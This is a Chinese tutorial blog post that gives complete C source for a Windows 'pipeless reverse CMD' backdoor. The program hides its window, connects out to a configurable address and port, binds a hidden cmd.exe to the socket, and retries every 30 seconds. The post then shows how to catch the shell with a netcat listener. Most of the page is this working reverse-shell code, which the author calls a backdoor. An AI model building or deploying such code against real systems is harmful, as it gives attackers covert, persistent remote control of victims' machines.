首页 > 其他分享 >17.3 实现无管道反向CMD

17.3 实现无管道反向CMD

时间:2023-10-23 09:00:21浏览次数:36  
标签:CMD 17.3 si 反向 接字 NULL sin sSock

WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

const CHAR* REMOTE_ADDR = "127.0.0.1";
const DWORD REMOTE_PORT = 9999;
const DWORD MAXSTR = 255;

void StartShell(SOCKET sSock)
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  CHAR cmdline[MAXSTR] = { 0 };

  // 绑定输入输出
  GetStartupInfo(&si);
  si.cb = sizeof(STARTUPINFO);
  si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;

  // 取系统目录并拼接CMD.exe
  GetSystemDirectory(cmdline, MAXSTR);
  strcat_s(cmdline, MAXSTR, "\\cmd.exe");

  // 创建进程
  while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  {
    Sleep(1000);
  }
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  return;
}

int main(int argc, char *argv[])
{
  SOCKADDR_IN sin;
  WSADATA wsd;
  SOCKET sSock;
  int cRet;

  // 初始化套接字
  if (WSAStartup(MAKEWORD(2, 2), &wsd) == SOCKET_ERROR)
  {
    return 0;
  }

  while (1)
  {
    // 绑定异步套接字
    if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
      return 0;
    }

    // 设置端口信息等
    sin.sin_family = AF_INET;
    sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
    sin.sin_port = htons(REMOTE_PORT);

    do
    {
      // 连接到远程主机
      cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
    } while (cRet == SOCKET_ERROR);
    
    // 启动CMD后门
    StartShell(sSock);
    closesocket(sSock);
    Sleep(30000);
  }

  WSACleanup();
  return 0;
}

编译并运行上述程序,读者可自行打开netcat工具,并执行nc -l -p 9999开启本机侦听端口,此时后门程序会每隔30000毫秒自动连接一次服务端,当连接成功后则自动执行StartShell函数创建一个反弹后门,输出效果图如下所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/1bbae8df.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

标签:CMD,17.3,si,反向,接字,NULL,sin,sSock
From: https://www.cnblogs.com/LyShark/p/17781605.html

相关文章

  • 17.1 隐藏执行CMD命令
    本章内容涉及使用SocketAPI和CMD命令行工具实现本地CMD命令执行、无管道正向CMD和无管道反向CMD三种功能。执行本地CMD实现使用CreateProcess函数创建一个新的CMD进程,并将标准输入、输出和错误输出重定向到当前进程的标准输入、输出和错误输出。无管道正向CMD和无管道反向CMD使用W......
  • 17.1 隐藏执行CMD命令
    本章内容涉及使用SocketAPI和CMD命令行工具实现本地CMD命令执行、无管道正向CMD和无管道反向CMD三种功能。执行本地CMD实现使用CreateProcess函数创建一个新的CMD进程,并将标准输入、输出和错误输出重定向到当前进程的标准输入、输出和错误输出。无管道正向CMD和无管道反向CMD使用......
  • cmd删除巨量本地文件下的文件(windows)
    当文件夹中的文件数量非常庞大时,尤其是在老旧或资源有限的系统上,直接通过图形用户界面(GUI)来删除文件可能会非常缓慢甚至导致系统卡死。作为一名程序员,当然要想更底层的办法解决啦。这种情况下,可以尝试使用命令行来高效、快速地删除大量文件:.打开命令提示符:按Win+R键打开......
  • 反向解析
    #通过一些方法得到一个结果,该结果可以直接访问对应的url触发视图函数 先给路由与视图函数其一个别名url(r'^func/',views.func,name='ooo') #反向解析后端反向解析:#导入reverse模块fromdjango.shortcutsimportreversereverse('ooo')  前端反向解析:......
  • 一键部署反向代理神器 nginx proxy manager
    环境准备:安装完毕docker-compose[root@masternginx]#catdocker-compose.ymlversion:'3'services:app:image:'jc21/nginx-proxy-manager:latest'restart:unless-stoppedports:#这里意思是将容器内的8081443映射为主机的331332333-......
  • Python中的NirCmd入门
    Python中的NirCmd入门简介NirCmd是一个强大的命令行实用工具,可在Windows系统上执行各种系统操作和任务。它可以用于执行诸如调整音量、打开网站、控制窗口、发送键盘鼠标输入等常见任务。虽然NirCmd是一个独立的可执行文件,但我们可以使用Python来调用它并将其集成到我们的脚本中。......
  • 常用cmd命令
    calc:启动计算器 Shutdown-s-t30:表示30秒后自动关机,中间带有空格。shutdown-a:取消定时关机Shutdown-r-t30:表示30秒后自动重新启动control:控制面版devmgmt.msc:设备管理器desk.cpl:屏幕辨别率diskmgmt.msc:磁盘管理dxdiag:检查DirectX信息explorer:资源管理器fsmgmt.......
  • 正则表达式-反向引用
    正则基础之——反向引用-石磊-博客园(cnblogs.com)主要是匹配文本重复另外,以前没有注意过小括号除了可以捕获,还可以把几个条件绑定成一个整体匹配前面的子表达式零次或一次。例如,do(es)?可以匹配"do"、"does"、"doxy"中的"do"和"does"。?等价于{0,1}。......
  • Android sdkmanager not found. Update to the latest Android SDK and ensure that t
     (base)cloud@Robotbin%flutterdoctor--android-licensesAndroidsdkmanagernotfound.UpdatetothelatestAndroidSDKandensurethatthecmdline-toolsareinstalledtoresolvethis.     ......
  • 2023-10-12 javac : 无法将“javac”项识别为 cmdlet、函数、脚本文件或可运行程序的
    找到你的jdk安装路径/bin,复制并扔到环境变量中去即可,如:   ......